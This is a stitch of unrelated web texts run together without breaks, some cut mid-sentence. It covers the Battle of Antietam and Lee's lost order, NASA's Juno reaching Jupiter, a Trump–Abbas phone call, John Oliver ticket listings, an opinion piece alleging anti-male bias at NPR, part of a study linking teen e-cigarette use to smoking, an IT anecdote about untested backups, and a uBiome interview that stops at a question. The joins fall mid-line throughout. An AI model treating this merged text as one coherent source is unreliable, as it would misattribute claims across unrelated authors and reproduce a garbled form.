At home, with a midterm vote looming, Lincoln faced a restive electorate. If 'Peace Democrats' could win the U.S. House, calls would grow louder to let the Confederacy go, to abandon the failed ideal of union. Again, a Union army loss would only add to this chorus.
Straining to be heard, meanwhile, were abolitionists urging Lincoln to fight on - and demanding that the South's enslaved millions be freed.
They didn't know that Lincoln had already settled this question in his mind. Back in July, he had drafted a preliminary emancipation proclamation but kept it to himself until he met with cabinet members. Their advice? Don't issue the proclamation 'until you can give it to the country supported by military success,' Secretary of State William Seward said.
So, like European intervention and the election's outcome, the enormous question of emancipation would wait to be answered - along with the very future of the United States as a nation.
And the answer would only come on a battlefield.
The famously cautious Union general
George McClellan was a fascinating, confounding figure.
His skill in organizing and preparing troops was what made Lincoln elevate him to command, even though the president had long been frustrated by another defining trait of 'Little Mac' - his paralyzing deliberateness and tendency to grossly exaggerate the forces he faced.
As a general, he was the temperamental opposite of Lee.
But now, receiving the Confederate commander's order electrified McClellan.
'I have all the plans of the rebels,' he quickly wired Lincoln, 'and will catch them in their own trap.'
With his larger force, his plan was to strike the widely separated parts of the Southern army, defeating them one by one. Unsympathetic historians, of whom there are many, say McClellan failed to exploit his windfall, again through delay. 'He lost his chance to divide and conquer,' Sears said.
(Historian Joseph Harsh, in his Antietam study Taken at the Flood, counters that prudence dictated some of McClellan's timing.)
In any event, Union forces did pick up their pace, which surprised Lee.
The federals clashed with Confederate units that Lee had sent into rugged passes on South Mountain, which leads to what would become the Antietam battlefield; the Northern forces prevailed, but the Southerners' resistance bought Lee time - just enough to re-unify his army.
And the two sides dug in for a showdown at Sharpsburg.
Clash of the titans: The secret document of Confederate General Robert E. Lee, right, discovered and handed over to Union General George B. McClellan helped the North win the Civil War
Little Mac: President Abraham Lincoln and Gen. George B. McClellan sit in the general's tent after the Battle of Antietam; days later, Lincoln would begin drafting the Emancipation Proclamation
The bloodiest battle
Dawn along Antietam Creek today only makes the unspoiled countryside more picturesque and welcoming. It's a scene photographed many times by Dave Maher, a volunteer battlefield guide drawn here for years from his home in Pennsylvania.
'I'm down here about every weekend,' he said, sweating in his blue wool Union soldier's tunic and cradling his long-barrelled rifle after a re-enactment event this summer.
Striding past a battlefield landmark - the little whitewashed church of the Dunkers, ironically a pacifist sect - he paused to conjure the shrieking shells and rebel yells that filled the air when combat commenced nearby at first light on September 17, 1862.
In the midst of the melee and bloodshead, attending endless ranks of hideously wounded men, was Clara Barton, the Union nurse who would found the Red Cross.
One casualty begged for a drink, and she recalled, 'I stooped to give it, and having raised him with my right hand, was holding the cup to his lips with my left, when I felt a sudden twitch of the loose sleeve of my dress (and) the poor fellow sprang from my hands and fell back quivering, in the agonies of death.'
The twitch was a ball that pierced his chest,'shoulder to shoulder,' she said, adding, 'I have never mended that hole in my sleeve.'
The fighting raged on and on - with McClellan ordering serial assaults and Lee shifting parts of his smaller force to meet each thrust. 'The sun seemed almost to go backwards,' one tormented combatant observed, 'and it appeared as if night would never come.'
Mercifully, the sun did set at last - and yet when it rose on Sept. 18, both sides remained on the field. In this stalemate, everyone expected renewed fighting, but neither side launched a major attack.
Then, during the night of the 18th, Lee's army pulled back across the nearby Potomac into Virginia.
Unionists hailed the retreat - 'GREAT VICTORY,' a headline exulted - even though critics faulted McClellan for not pursuing and finishing off the rebels.
They would fight on for more than two years.
On the attack: An engraving sketch depicts Union troops charging across the Burnside bridge over Antietam Creek in the third and final day of the Battle of Antietam near Sharpsburg
Meanwhile, around shaken Sharpsburg, barns and churches became hospitals for the legions of wounded, while burial details took up their monumental task. Corpses pitifully strewing the fighting ground became the prime subject for photographers sent by Matthew Brady, who, in a first for war coverage, exhibited the images at his gallery in New York.
THE BATTLE OF ANTIETAM, AMERICA'S BLOODIEST 12 HOURS More than 23,000 soldiers were killed, wounded, or missing after the 12-hour Battle of Antietam, called the bloodiest one-day battle in American history. It took place on September 17, 1862 across rural fields in western Maryland.
Hellish fighting would persist until darkness: at the soon ravaged church and adjacent woods, at a stone bridge over Antietam Creek that became a shooting gallery, in a head-high cornfield where bullets and canister shot flew so thick that one survivor said it looked afterward as if the stalks had been cut to the ground with a knife. The 12th Massachusetts regiment lost 67 per cent killed and wounded, the 1st Texas Infantry, 82 per cent. 'Where is your division?' someone asked Confederate Gen. John Bell Hood. 'Dead on the field,' he replied. A sunken wagon track, contested for three hours and in the end piled deep with bodies in dark blue or butternut uniforms, became known forever as Bloody Lane. President Abraham Lincoln, speaking two days before the battle, gave the Union his blessing, saying: 'God bless you, and all with you. Destroy the rebel army if possible.'
'Before that, people had only seen those heroic portraits of men in battle,' said Maher, the guide, referring to engravings that illustrated popular journals. But here, 'people weren't just seeing a dead body. This was somebody's brother. And these were contemporaries - it wasn't 150 years ago then.'
Some worried that Brady's show might inflame anti-war sentiment, but instead the images of sacrifice seemed to stiffen resolve. 'People saw how horrific this is and said, `We can't stop this.' And that began here at Antietam,' Maher said.
Those photos were what 'hooked' him on the Civil War as a kid and helped fuel his interest in shooting pictures. Among his photos that he has posted online are several from a special battlefield ceremony last year: They show 23,110 luminaries, one candle for each casualty, a ghost city of lights winking across the now peaceful terrain as dusk gathers.
Five days after the guns went silent at Antietam, on September 22, Lincoln announced his preliminary Emancipation Proclamation.
In doing so, he redefined the war - 'from one to restore the Union into one to destroy the old Union and build a new one purged of human bondage,' as McPherson, the historian, wrote in 'Crossroads of Freedom: Antietam.'
The New York Tribune said the decree'marks not only an era in the progress of the nation, but an epoch in the history of the world.'
The world soon received the news of the battle's outcome and its consequences.
In London, where Parliament had been poised to press an end to the American war that would recognize side-by-side nations across the Atlantic, the prime minister, Viscount Palmerston, now demurred: 'We must continue merely to be onlookers.'
A British newspaper termed the Emancipation Proclamation 'an act only second in courage and probable results to the Declaration of Independence.'
At home, when the midterm congressional elections were held just weeks later, a sweep by peace Democrats, which some had predicted before the battle, didn't materialize; Lincoln's Republicans held both houses of Congress.
If the lost order hadn't been lost
It's easy to see inevitability in events as consequential as the Antietam struggle. But many who've studied it, from participants to scholars generations later, dwell on the razor's edge of chance or fate or providence on which this event teetered.
Victory's significance: Lincoln concluded following the victory of Antietam that God had 'decided this question in favor of the slaves'
Interestingly, Lincoln told his cabinet during the unsettled days back in July that he'd made a private vow to read the outcome of the next battle, for or against the North, as an indication of divine will on the question of emancipation. God, he concluded, had 'decided this question in favor of the slaves.'
Maj. Walter Taylor, an aide to Lee, also perceived a divine hand, but in a different place. He called the lost order a turning point and concluded, 'It looks as if the good Lord had ordained that we should not succeed.'
Looking back, Lee himself said, 'Had the Lost Dispatch not been lost, and had McClellan continued his cautious policy for two or three days longer, I would have had all my troops concentrated on the Maryland side, stragglers up, men rested and intended then to attack McClellan, hoping the best results from (the) state of my troops and those of the enemy.
'Tho' it is impossible to say that victory would have certainly resulted, it is probable that the loss of the dispatch changed the character of the campaign.'
Today, some who promote the notion of American 'exceptionalism' point to times when something unexplainable drops into the nation's affairs, redirecting events away from the brink.
Two writers who produced detailed 'what if' scenarios imagining how history might have proceeded if Special Orders 191 had not been lost were asked about that notion.
Red night: Re-enactors portraying Confederate cavalry pass through a cloud of dust at sunset on September 14, during preparation for the 150th Anniversary Reenactment of the Civil War Battle of Antietam
At the ready: Re-enactors portraying Union troops prepare for battle
On the march: Re-enactors portraying Union troops march into battle during the 150th Anniversary Reenactment of the Civil War Battle of Antietam with heads bowed
Harry Turtledove wrote 'How Few Remain,' an alternative-history novel. In it, a rebel rather than a yank happens upon the dropped order, Lee's army proceeds through Maryland, and there is no battle of Antietam.
A later fight, in a spot of Lee's choosing in Pennsylvania, brings a victory that establishes a Confederate nation.
In an author's note, Turtledove says, 'Had those cigars and that order not been lost... the world would be a different place today.'
And in an email interview, he adds, 'Bismarck is supposed to have said something like, `God loves small children, drunkards, and the United States of America.'
We are very lucky that the landmass between Canada and Mexico didn't break apart into two countries...'
By foot or by hoof: Re-enactors portraying Union infantry and cavalry fire riffles as the calvalry canters through the battlefield
Onward march: Re-enactors portraying Union troops participate in the 150th Anniversary Reenactment of the Civil War Battle of Antietam at Legacy Manor Farm
Moment of silence: A re-enactor portraying a Union soldier sits at camp during a quiet moment before battle
It was not a novelist but a historian, McPherson, who wrote a chapter titled, 'If the Lost Order Hadn't Been Lost,' for a might-have-been compilation edited by Robert Cowley called 'What Ifs of American History.'
In McPherson's scenario, Lee's order isn't lost at all: Enhanced security in enemy territory prevents that. Again, Lee brings battle in Pennsylvania - at Gettysburg, but with a Confederate victory this time.
It ends with Lincoln accepting foreign mediation and telling his cabinet in a choked voice: 'Gentlemen, the United States no longer exists as one nation, indivisible.'
McPherson said in an interview that he'd written the scenario, which he considered plausible, because he'd been invited to but also because the lost order has long fascinated him.
But what about the 'exceptionalism' question in this case? Is there something spooky about the almost unimaginable losing and finding of those two pencilled pages?
'There is something a little spooky about that. And I've never known how to put my feelings about that,' the historian said. 'My own feeling is that this was a one-in-a-million chance, and there's no way to know how it fell out that it happened.'
Remembrance: Luminaries are seen across Antietam National Battlefield to commemorate the soldiers who were killed or wounded during the three-day Civil War battleJuno: NASA's billion-dollar spacecraft has entered Jupiter's orbit
Updated
It's taken five years and $US1 billion, but NASA's Juno spacecraft has successfully placed itself into the orbit of our solar system's largest planet.
The probe has left the orbit of the sun and is now in the desired place to complete its desired orbit around Jupiter.
Juno has also completed a turn back towards the sun after a tricky entry into orbit, so it has the power to complete its 53-and-a-half day tour.
The mission
NASA is on a mission to find out more about the biggest planet in our solar system.
NASA will study the planet's structure, gravity and magnetic field.
Juno set off from Florida in 2011. Now, after travelling 3 billion kilometres it will reach its final destination.
It just completed its next step, tearing through the metal-frying radiation belt that surrounds the gas giant of Jupiter.
Juno fired its rocket to slow itself to a speed of just 250,000 kph and completed the tricky manoeuvre of looping above the planet's billowing clouds of ammonia and hydrogen sulphide.
Instead of entering the atmosphere, it will fall past the face of the planet a total of 37 times, getting as close as 4,700km. Juno will then get snap happy, with the mother of all high-res cameras, as well as measuring its gravitational and magnetic fields.
Why did NASA spend $1b on such a risky mission?
It's hoped getting a closer look at Jupiter will also reveal more about our own planet.
Scientists hope this mission will help unravel how Jupiter formed in the first place.
In turn, that knowledge could help us understand how the Earth and the rest of the solar system developed.
What could have gone wrong?
Getting close to the planet was the hardest part of the mission.
It was fraught with risk and Juno had only one attempt at positioning itself for entering orbit.
The probe fired up its main engine for 35 minutes to shed enough speed so it could be captured by Jupiter's gravity.
But in the process Juno found its way through a veritable minefield of radiation hotspots surrounding the planet, capable of frying its equipment.
Put simply, one wrong move and the space probe could have sailed helplessly past Jupiter.
Wait, there are some passengers on board?
Kind of.
There are three Lego mini-figures of astronomer Galileo, Roman god Jupiter and his wife Juno.
They're made of spacecraft grade aluminium.
It's part of an educational outreach program.
The Australian connection
A team of Canberra space scientists and their array of antennae tracked and commanded NASA's Juno mission.
The 90 CSIRO engineers, technicians and spacecraft communication experts are located at Tidbinbilla south west of Canberra.
Spokesman Glen Nagle says the team tracked pings for the spacecraft that he describes as one billion times weaker than a mobile phone signal.
"Think of us being like the telephone exchange for the universe or air traffic control for space, ensuring that these spacecraft get commands to them to know where to go and what to do and to get all that vital information back in again and off to all those anxious scientists around the planet," Mr Nagle said.
Topics: science-and-technology, planets-and-asteroids, spacecraft, space-exploration, astronomy-space, united-states
First postedPresident Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE spoke with Palestinian President Mahmoud Abbas by phone Friday night, calling for a comprehensive agreement to end the long-running Israeli-Palestinian conflict.
"The President emphasized his personal belief that peace is possible and that the time has come to make a deal. The President noted that such a deal would not only give Israelis and Palestinians the peace and security they deserve, but that it would reverberate positively throughout the region and the world," the White House release read.
Trump said that such a pact must be directly negotiated between Israel and Palestine, and the U.S. would work closely to help foster a deal.
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"The President noted that the United States cannot impose a solution on the Israelis and Palestinians, nor can one side impose an agreement on the other," the White House said.
He also invited Abbas to visit the White House "in the near future."
Trump has vowed to be a steadfast ally of Israel, and recently met with Israeli Prime Minister Benjamin Netanyahu.
The U.S. has long advocated for a two-state solution for the dispute, but Trump abandoned that stance during a joint press conference with Netanyahu last month.
“I’m looking at two-state and one-state [solutions], and I like the one that both parties like,” he said. "I can live with either one.”
Trump’s remarks raised concerns in Palestine’s government that the Trump administration might not prove as friendly to its interests as past U.S. administrations.
But the Trump administration has also warned that expanding Israeli settlements in Palestine-occupied territory won't help peace negotiations.
"I'd like to see you hold back on settlements for a little bit," Trump told Netanyahu at their press conference.“John Oliver
JUST ADDED! Wed., August 24 at 7 & 9:30 p.m.
SOLD OUT! Thu., August 25 at 7 & 9:30 PM
SOLD OUT! Fri., August 26 at 7 & 9:30 PM
SOLD OUT! Sat., August 27 at 7 & 9:30 PM
On sale, Friday, February 26 at 10 a.m.
The Kennedy Center presents Emmy® and Writers Guild Award–winning comedian and writer John Oliver performing his stand-up show in the Concert Hall. From 2006 to 2013, John was a correspondent and guest host on the multi-award-winning The Daily Show with Jon Stewart. His HBO show, Last Week Tonight with John Oliver, presents a satirical look at the week in news, politics and current events.
There is a ticket limit of six (6) seats for this event.
Tickets also available by phone or in person at the Kennedy Center Box Office.
(202) 467-4600 | Toll-free (800) 444-1324″Note: This article was written by NCFM Member Ray Licht
The media seem to be very biased against men nowadays. This is especially true of advertising media. There is a very simple reason for this: women are largely or exclusively the deciders concerning most product choices. Some have estimated that women make 80% of all consumer product decisions. Naturally, in a situation like this, advertisers are going to tend to aim their ads at women. As a result, advertising media are also going to aim at women in order to attract more advertising revenue, which is, of course, their main goal. In this situation, advertising media certainly do not want to offend women. However, the advertising media can largely ignore or even offend men with little consequence. Some women may even be more likely to buy advertisers’ products if they and their media do insult and belittle men. There is little chance for men to receive a fair deal in any advertising media—e.g., television, radio, newspapers, magazines, and the internet. For example, check out another article on this website (http://ncfm.org/2013/12/action/anti-male-media-bias/) that shows that 95% of all negative portrayals in TV ads are of men.
I am not happy about this situation. Of course, I wish that all media were totally fair and unbiased at all times. But this is not happening. I do not like it, but I do understand it. Of course, women could correct this problem immediately by refusing to buy products that portray men negatively in their advertising I do not see this happening anytime soon. (But women should keep in mind that it was primarily men who passed women’s suffrage, Title IX, the Violence Against Women Act, and all other pro-woman legislation. Men may have been slow, but they finally righted some past wrongs. Now it is women’s turn to help men.)
But certainly men should get a fairer deal in media that are not funded by advertising. In the U.S., advertisers’ effect on National Public Radio and the Public Broadcasting Service should be much less, and therefore NPR and PBS should not be as biased against men as other media. Also, since NPRand PBS receive some governmental support and oversight, they should contain no sexism. However, this does not appear to be true. Public broadcasting seems to be even more pro-female and anti-male than advertising media.
To explore this situation with public broadcasting, I examined the reporting for NPR‘s news program, “All Things Considered,” during February, 2014. I found the bias favoring women and against men staggering. It seems unlikely that all this negative focus on men and positive focus on women is by accident. It appears to be intentional. I found many of the effects of the sexism found in advertising media in ATC as well.
Positive portrayals of women and their activities are everywhere in the media. ATC’s Olympic coverage followed this pattern. When “All Things Considered” was not giving results of events, but giving human-interest reports, ATC focused mostly on women. Examples included hockey player Kacey Bellamy (2/5) explaining how much her parents and little sister sacrificed so she could play hockey, slopestyle skier Devin Logan (2/10) also focusing on how much her family helped support her, Noelle Pikus-Pace (2/14) discussing how hard it was to balance motherhood and training for skeleton, and one report on the fitness of curlers (2/18) even mentioned that the men’s Canadian team put out a beefcake calendar of shirtless team members. This non-advertising medium is falling over backwards to pander to women.
Most media today have a strong feminist bias. This bias often appears as promoting all rights for women but all responsibility for men. Public broadcasting and ATC probably have a stronger feminist bias than most. For example, on 2/7, ATC gave a mostly fair report on accusations of child sexual abuse against Woody Allen. However, the report did contain a quite feminist quote from a woman demanding that we automatically believe women and girls who claim sexual abuse. This, of course, assumes that women never lie, and would negate the fundamental legal concept of “innocent until proven guilty.”
ATC gave two very feminist reports on American women’s ski-jumping team members who fought to get the event into the Olympics. The reports contained the usual feminist accusations of discrimination and embarrassing excuses for not allowing women to compete (e.g., a woman’s uterus might fall out). Of course, the official reasoning for not allowing women’s ski-jumping was that it was too dangerous and the women were not competitive enough. These reasons were discounted in the reports.
This brings up another common effect of bias in the media: spinning situations hypocritically to either glorify women or portray them as victims—whichever benefits women the most. Often one situation can be spun in both ways. ATC’s reporting on the American women’s ski-jumping team did both. Women sued to get the event into this year’s Winter Olympics. In the first segment (2/2) the women were portrayed as victims of the Olympic Committee who were unfairly denying women participation for spurious reasons—fear of injuries and lack of competition. However, in the second segment (2/11) we learn something conveniently left out of the first report—that our best female ski-jumper, Sarah Hendrickson, had a major knee injury six months before the Olympics. Instead of using this fact to imply that the Olympic Committee may have had a point about injuries, it was used in the story to explain Hendrickson’s poor showing in the competition. ATC returned to portraying women as victims in a 2/12 segment on the physics of ski-jumping, where they expressed sympathy for another American ski-jumper, Lindsey Van, who also injured a knee—” jammed her leg bones together and her knee cartilage essentially exploded.” Although not mentioned in any ATC program, Jessica Jerome, the final member of the American women’s ski-jumping team, also has suffered a major knee injury.
There is a controversy currently
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use, 1.5% only e-cigarettes) and 1.1% were current e-cigarette users (0.5% dual use, 0.6% only e-cigarettes). In 2012, 6.5% of the sample had tried e-cigarettes (2.6% dual use, 4.1% only e-cigarettes) and 2.0% were current e-cigarette users (1.0% dual use, 1.1% only e-cigarettes). Ever and current e-cigarette use varied significantly by sociodemographic characteristics (Table 1). Ever e-cigarette users were significantly more likely to be male (P <.01), white (P <.01), and older (P <.01). Ever conventional cigarette smokers (≥100 cigarettes in lifetime) were significantly more likely than never smokers to have tried e-cigarettes (P <.01) and to be current e-cigarette users (P <.01). Compared with nonsmokers (never and former smokers), current cigarette smokers were significantly more likely to have used e-cigarettes (P <.01) and to be current e-cigarette users (P <.01). In 2011, 45.4% of ever e-cigarette users had never been established smokers of conventional cigarettes and 49.7% of current e-cigarette users were current smokers of conventional cigarettes. In 2012, 61.2% of ever e-cigarette users had never been established smokers and 49.8% of current e-cigarette users were current cigarette smokers.
Reflecting high levels of dual use, ever and current e-cigarette use was associated with very high odds of experimentation with cigarettes, ever cigarette smoking, and current cigarette smoking (eTable 1 and eTable 2 in Supplement).
Among current smokers, current e-cigarette use was associated with higher levels of cigarette smoking (P =.003 for 2011; P =.001 for 2012) (Figure).
In pooled analyses, among experimenters (ever smoked a puff), ever e-cigarette use was positively associated with being an established smoker (≥100 cigarettes; OR = 6.31; 95% CI, 5.39-7.39) and current cigarette smoking (≥100 cigarettes and smoked in past 30 days; OR = 5.96; 95% CI, 5.67-6.27). Current e-cigarette use was also associated with ever cigarette smoking (OR = 7.42; 95% CI, 5.63-9.79) and current cigarette smoking (OR = 7.88; 95% CI, 6.01-10.32) (Table 2). Table 3 shows separate analyses by year.
Use of e-cigarettes was also associated with lower odds of abstinence. Among experimenters, ever e-cigarette use associated with lower odds of 30-day (OR = 0.24; 95% CI, 0.21-0.28), 6-month (OR = 0.24; 95% CI, 0.21-0.28), and 1-year (OR = 0.25; 95% CI, 0.21-0.30) abstinence from conventional cigarettes. Current e-cigarette use was also associated with lower odds of 30-day (OR = 0.11; 95% CI, 0.08-0.15), 6-month (OR = 0.11; 95% CI, 0.08-0.15), and 1-year (OR = 0.12; 95% CI, 0.07-0.18) abstinence from conventional cigarettes. Table 4 shows analyses by year.
Among ever cigarette smokers (≥100 cigarettes), ever e-cigarette use was negatively associated with 30-day (OR = 0.61; 95% CI, 0.42-0.89), 6-month (OR = 0.53; 95% CI, 0.33-0.83), and 1-year (OR = 0.32; 95% CI, 0.18-0.56) abstinence from conventional cigarettes. Current e-cigarette use was also negatively associated with 30-day (OR = 0.35; 95% CI, 0.18-0.69), 6-month (OR = 0.30; 95% CI, 0.13-0.68), and 1-year (OR = 0.34; 95% CI, 0.13-0.87) abstinence from conventional cigarettes. Table 5 shows analyses by year.
In adjusted analyses for 2011, among current smokers, ever e-cigarette use was associated with planning to stop smoking within the next year (OR = 1.53; 95% CI, 1.03-2.28), but current e-cigarette use was not (OR = 1.34; 95% CI, 0.62-2.90). In contrast, in pooled analyses, neither ever e-cigarette use (OR = 1.01; 95% CI, 0.77-1.34) nor current e-cigarette use (OR = 0.89; 95% CI, 0.61-1.30) was significantly associated with having made a quit attempt in the past 12 months after adjusting for covariates.
We also ran all analyses unadjusted by demographic variables, with little impact on the effects of e-cigarette use, indicating that the results were not due to confounding by demographic variables (Tables 3, 4, and 5).
Discussion
As with adults,8-10 dual use of e-cigarettes and conventional cigarettes is high among adolescents and increasing rapidly. Adolescents who had ever experimented with cigarettes (smoked at least a puff) and used e-cigarettes were more likely to report having smoked at least 100 cigarettes and to be current smokers than adolescents who never used e-cigarettes. Thus, in combination with the observations that e-cigarette users are heavier smokers and less likely to have stopped smoking cigarettes, these results suggest that e-cigarette use is aggravating rather than ameliorating the tobacco epidemic among youths. These results call into question claims15,26,27 that e-cigarettes are effective as smoking cessation aids.
Our US results are consistent with those for Korean youths,3 with high levels of dual use in both populations. Current e-cigarette users (past 30 days) were much less likely to have abstained from smoking cigarettes in the past 30 days in both populations (≥1 puff but not in past 30 days: OR = 0.10; 95% CI, 0.09-0.12 in Korean youths vs OR = 0.15; 95% CI, 0.08-0.28 for experimenters with cigarettes in US youths). Among current cigarette-smoking youths in Korea, there was a significant association between current e-cigarette use and attempting to quit smoking in the past 12 months (OR = 1.67; 95% CI, 1.48-1.90), but there was not a significant association for US youths (OR = 1.20; 95% CI, 0.65-2.23). This difference may reflect behavioral differences between the 2 countries but may also reflect the lower power in our study. The Korean sample was much larger than ours (75 643 vs 17 320 individuals, respectively) with higher prevalence of current (12.1% vs 5.0%) and ever (26.3% vs 5.6%) cigarette smoking and current (4.7% vs 1.1%) and ever (9.4% vs 3.1%) e-cigarette use.
Although e-cigarettes deliver many fewer toxins and at much lower levels than conventional cigarettes,28-30 they contain nicotine, a highly addictive substance,31 in doses designed to mimic cigarettes. Animal models suggest that, through its effect on cholinergic pathways, nicotine may have permanent effects on the brain and behavior32,33 such as dysregulation of the limbic system, which can lead to long-term difficulties with behavioral regulation, attention, memory, and motivation, among other functions.33,34 The adolescent human brain may be particularly vulnerable to the effects of nicotine because it is still developing.35-37
This is a cross-sectional study, which only allows us to identify associations, not causal relationships. Our results are also limited by the lack of information about motivation for using e-cigarettes (eg, popularity, trendy, smoking cessation) and the fact that they only apply to middle and high school students, not all US youths.
In comparison with the 8.0% and 8.6% of respondents who had missing data in 2011 and 2012, respectively, and were dropped, our analytical sample had slightly more girls (2011: 42.9% vs 49.4%, P =.007; 2012: 38.3% vs 49.9%, P <.001) and more white respondents (2011: 39.5% vs 56.6%, P <.001; 2012: 39.8% vs 54.7%, P <.001) (eTable 3 in Supplement). In 2012 only, our sample compared with students with missing data also had a lower prevalence of e-cigarette use (6.5% vs 10.2%; P =.002) and was slightly younger (mean age, 14.6 vs 14.2 years; P <.001). There were no significant differences by any of the other demographic, e-cigarette use, or cigarette smoking variables.
Conclusions
While the cross-sectional nature of our study does not allow us to identify whether most youths are initiating smoking with conventional cigarettes and then moving on to (usually dual use of) e-cigarettes or vice versa, our results suggest that e-cigarettes are not discouraging use of conventional cigarettes. Among experimenters with conventional cigarettes, e-cigarette use is associated with established cigarette smoking and lower rates of abstinence from conventional cigarettes. The debate over e-cigarettes2,28,31,38-40 has centered on whether e-cigarettes could be useful as a harm-reduction strategy in established adult cigarette smokers. The results of our study together with those from the study in Korea3 suggest that e-cigarettes may contribute to nicotine addiction and are unlikely to discourage conventional cigarette smoking among youths.
Back to top Article Information
Corresponding Author: Stanton A. Glantz, PhD, Center for Tobacco Research and Education, University of California, San Francisco, 530 Parnassus Ave, Ste 366, San Francisco, CA 94143 ([email protected]).
Accepted for Publication: December 16, 2013.
Published Online: March 6, 2014. doi:10.1001/jamapediatrics.2013.5488.
Author Contributions: Drs Dutra and Glantz had full access to all of the data in the study and take responsibility for the integrity of the data and the accuracy of the data analysis.
Study concept and design: Dutra, Glantz.
Analysis and interpretation of data: Dutra, Glantz.
Drafting of the manuscript: Dutra, Glantz.
Critical revision of the manuscript for important intellectual content: Dutra, Glantz.
Statistical analysis: Dutra, Glantz.
Obtained funding: Glantz.
Administrative, technical, or material support: Glantz.
Study supervision: Glantz.
Conflict of Interest Disclosures: None reported.
Funding/Support: This work was supported by grants CA-113710 and CA-060121 from the National Cancer Institute.
Role of the Sponsor: The funder had no role in the design and conduct of the study; collection, management, analysis, and interpretation of the data; preparation, review, or approval of the manuscript; and decision to submit the manuscript for publication.
Correction: This article was corrected online for typographical errors on March 10, 2014, and March 12, 2014.This is the 212th article in the Spotlight on IT series. If you'd be interested in writing an article on the subject of backup, security, storage, virtualization, mobile, networking, wireless, cloud and SaaS, or MSPs for the series PM Eric to get started.
The concept of Schrödinger’s backup is a simple, but I believe it’s an important one for us in IT. It states, “The condition of any backup is unknown until a restore is attempted.”
We can quite happily feed tape libraries their daily, weekly, monthly required diet of tapes, ensure that disk backup systems have enough space, and smile when the emails appear saying that everything backed up and was verified just fine. But the true test comes when a restore is required — be it a single file or an entire system. At that point, we find out if the backups really were as successful as the emails claim, if we’ve left something out and if the documentation is valid (if it even exists).
A few years ago — back when physical servers were more abundant than virtual servers — I was fortunate enough to have one of those rare moments when the planets aligned and I managed to get an agreement from management to purchase a server to be used as a test restore platform for our then key systems. To go along with this, the IT department as a team came up with the “random restore” concept.
This was just a simple spreadsheet that had all of the key systems listed along with a few other things, such as a file restore or an AD object restore. A macro in the spreadsheet would pick a restore more or less at random. Now, there were a few rules in the macro: no system could go untested for more than six months and the first few restores were for the key servers the company had highlighted as essential to running the business and key systems that business-critical applications required — services like Active Directory, print servers and Exchange.
For the very first restore test, the scenario was that the Exchange server had died and everything else was working. At the time, we had a very key junior in the IT department who was keen to have a go at the restore by following the existing documentation. So, he was duly dispatched with a hefty document to do the restore. About two hours later he was back with said hefty document and had more notes scribbled over it than anything I’d ever seen before.
Suffice to say that the restore was an unmitigated disaster — not because the person doing the restore was a junior but because things had changed (most notably, the location of one of the Exchange databases had been moved to a different drive because of space issues and the documentation never updated).
Over the course of what was fortunately a quiet Friday afternoon, most of the IT department got involved in one way or another. We found tech notes to fix issues that cropped up, we made notes of those issues, and we covered each other on support calls to ensure that the day-to-day work carried on. In short, it was a team-builder’s dream.
Eventually, we did get Exchange restored, but the lessons learned were important.
Five people had spent a large part of the day dealing with a system that, when first installed, had been well documented, but, over time, several minor things had changed and that had broken the documentation. As a team, we’d pulled together and managed to make it work.
Of course, we weren't under any pressure to get the system up and running. We never had the finance director screaming for his emails, nor the lawyers. If the restore had been required because of a failure and if we’d had people screaming at us to get it working, I think it would have taken twice as long to do. After all, it’s easy to panic and try anything just to get the system back up rather than stopping, taking a step back and really looking at the problem.
The IT department as a whole learned a few valuable lessons:
It doesn’t matter how many “backup successful” emails we’d received, the documentation was wrong; restores would have been painful no matter what.
Restore documentation shouldn’t just contain information about the restore. It should also include serial numbers for software, contact numbers for support companies and support contract reference numbers. If this is a problem then those details should be in another system with a link or other reference in the restore documentation.
Any documentation should have a date of when it was last updated and tested, for there is nothing worse than documentation that is wrong. Having no documentation is better than wrong documentation.
All documentation should have a glossary page explaining the acronyms to ensure that the person reading the documentation understands what the person who wrote it was trying to say.
After the Exchange server was finally restored and we’d had a lessons-learned exercise, the term “Schrödinger’s Backup” was coined. It’s something I’ll certainly never forget.
Over the next few months we tested out all sorts of restores, we requested tapes back from offsite, built AD from the ground up, restored SQL to point in time, did CIFS shares and much more.
We got a chance to try things out during restores to learn and gain confidence in systems that normally we'd only be doing administration in. (Plus, we all got something extra to put on the CV/résumé). All in all, it was a very worthwhile exercise and an excellent investment of time.
Have you ever received any painful backup/restore lessons? Share your stories, thoughts and tips in the comments below!H+: Hi Jessica, can you briefly say a bit about the uBiome project? What is it?
Jessica: Sure, the microbiome is the community of microbes that live on and within us. It sounds kind of funny, but all of us are actually covered in helpful germs – we probably couldn’t live without them – and are certainly less healthy if they are out of balance. Studies have linked our microbiome to human health in numerous ways. Many conditions – from diabetes to depression, asthma to autism — have been found to relate to the microbiome. And the microbiome also keeps us well; the NIH just spent over $100 million to investigate the healthy human microbiome. uBiome has launched the world’s first citizen science effort to map the human microbiome. uBiome provides participants with a catalog of their own microbes, detailing the microbial composition of the body and explaining what is known about each genera of microbe. In addition, uBiome compares participants’ microbiomes with scientific studies on the role of the microbiome in health, diet and lifestyle. uBiome also provides personal analysis tools and data viewers so that users can anonymously compare their own data with crowd data as well as with the latest scientific research.We are being incubated by the California Institute for Quantitative Biosciences at the University of California, San Francisco (UCSF). Our team consists of myself, a serial entrepreneur and PhD student at Oxford, and Dr. Zachary Apte and Dr. William Ludington, recent PhD graduates from UCSF. We also have an all-star scientific advisory board, including inventor and MacArthur Genius award winner Dr. Joseph DeRisi, Dr. Pablo Valenzuela (biotechnology pioneer and inventor of the recombinant Hepatitis B vaccine), as well as doctors, bioinformaticians, and researchers. H+: You are looking for funding via Indiegogo. Can you tell me a bit about the project you are looking to fund specifically and describe what funders will receive? Why did you choose Indiegogo over other services, i.e. Kickstarter?
Jessica: We are looking to crowdfund our citizen science project at www.indiegogo.com/ubiome. For $79, you can sequence your GI tract; for $235, you can sequence the GI tract three times; for $272 you can sequence all five sites: mouth, ears, nose, GI tract, and genitals. Here’s how it works: You pledge and we send you a sample kit. You swipe the sample brush across the corresponding sample site. The cells are lysed in solution and sent to our laboratory for processing. Once we’ve sequenced your sample, we’ll send a login to our website where you can visualize and understand your data. As a uBiome community member you find out about our latest discoveries first, participate in ongoing citizen science projects, and suggest new questions that we can address together.We chose Indiegogo because they are international, flexible and have great customer service. However, we hope that a lot more citizen science projects will come online, on any platform.
H+: What about privacy?
